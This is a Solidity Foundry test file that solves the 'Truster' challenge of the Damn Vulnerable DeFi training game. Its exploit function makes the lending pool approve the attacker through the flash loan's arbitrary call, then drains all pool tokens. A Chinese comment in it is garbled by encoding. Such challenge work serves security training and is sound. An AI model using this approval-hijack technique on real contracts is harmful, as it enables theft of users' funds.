// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;

import {Utilities} from "../../utils/Utilities.sol";
import "forge-std/Test.sol";

import {DamnValuableToken} from "../../../src/Contracts/DamnValuableToken.sol";
import {TrusterLenderPool} from "../../../src/Contracts/truster/TrusterLenderPool.sol";

contract Truster is Test {
    uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;

    Utilities internal utils;
    TrusterLenderPool internal trusterLenderPool;
    DamnValuableToken internal dvt;
    address payable internal attacker;

    function setUp() public {
        /**
         * SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE
         */
        utils = new Utilities();
        address payable[] memory users = utils.createUsers(1);
        attacker = users[0];
        vm.label(attacker, "Attacker");

        dvt = new DamnValuableToken();
        vm.label(address(dvt), "DVT");

        trusterLenderPool = new TrusterLenderPool(address(dvt));
        vm.label(address(trusterLenderPool), "Truster Lender Pool");

        dvt.transfer(address(trusterLenderPool), TOKENS_IN_POOL);

        assertEq(dvt.balanceOf(address(trusterLenderPool)), TOKENS_IN_POOL);

        console.log(unicode"ğŸ§¨ Let's see if you can break it... ğŸ§¨");
    }

    function testExploit() public {
        /**
         * EXPLOIT START *
         */
        vm.startPrank(attacker);

        // å› ç‚º trusterLenderPool èƒ½è®“ user æ±ºå®šè¦å° å“ªå€‹åœ°å€ åŸ·è¡Œä»€éº¼ functionï¼Œæ‰€ä»¥å¯ä»¥è®“ Pool åŸ·è¡Œ dvt çš„ approveï¼Œä¸¦æŠŠ attacker è¨­ç‚º spender
        bytes4 functionSelector = bytes4(keccak256("approve(address,uint256)"));
        bytes memory data = abi.encode(attacker, type(uint256).max);
        bytes memory dataWithSelector = abi.encodePacked(functionSelector, data);

        trusterLenderPool.flashLoan(0, address(1), address(dvt), dataWithSelector);
        dvt.transferFrom(address(trusterLenderPool), attacker, dvt.balanceOf(address(trusterLenderPool)));

        vm.stopPrank();
        /**
         * EXPLOIT END *
         */
        validation();
        console.log(unicode"\nğŸ‰ Congratulations, you can go to the next level! ğŸ‰");
    }

    function validation() internal {
        // Attacker has taken all tokens from the pool
        assertEq(dvt.balanceOf(address(trusterLenderPool)), 0);
        assertEq(dvt.balanceOf(address(attacker)), TOKENS_IN_POOL);
    }
}
